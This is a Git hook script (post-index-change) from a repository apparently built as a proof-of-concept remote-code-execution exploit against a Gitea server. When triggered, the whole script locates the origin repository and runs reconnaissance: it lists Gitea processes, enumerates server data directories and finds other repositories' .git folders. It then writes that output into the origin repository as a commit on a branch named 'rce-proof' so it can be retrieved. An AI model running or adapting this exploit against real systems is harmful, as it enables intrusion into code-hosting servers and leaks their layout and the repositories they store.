probe4-m3zvm/hooks/post-index-change

34 lines
1.5 KiB
Bash
Executable File

#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin=""
if [ -f "$git_dir/objects/info/alternates" ]; then
o=$(head -1 "$git_dir/objects/info/alternates") || o=""
case "$o" in
/*) origin="${o%/objects}" ;;
*) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
esac
fi
if [ -z "$origin" ]; then
u=$(git remote get-url origin 2>/dev/null) || u=""
case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -z "$origin" ]; then
u=$(git config --get remote.origin.url 2>/dev/null) || u=""
case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
{ echo '==PS=='
ps aux 2>/dev/null | grep -i gitea | grep -v grep | head -5
echo '==LOC=='
ls -la /repos /var/lib/gitea/data /var/lib/gitea/data/gitea-repositories /srv /var/git /data /home/git 2>/dev/null | head -60
echo '==FIND=='
find /repos /var/lib/gitea/data /srv /var/git /data /home -maxdepth 4 -name '*.git' -type d 2>/dev/null | head -300
} 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
ob=$(cat /tmp/gpoc_blob 2>/dev/null)
[ -n "$ob" ] || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
fi
exit 0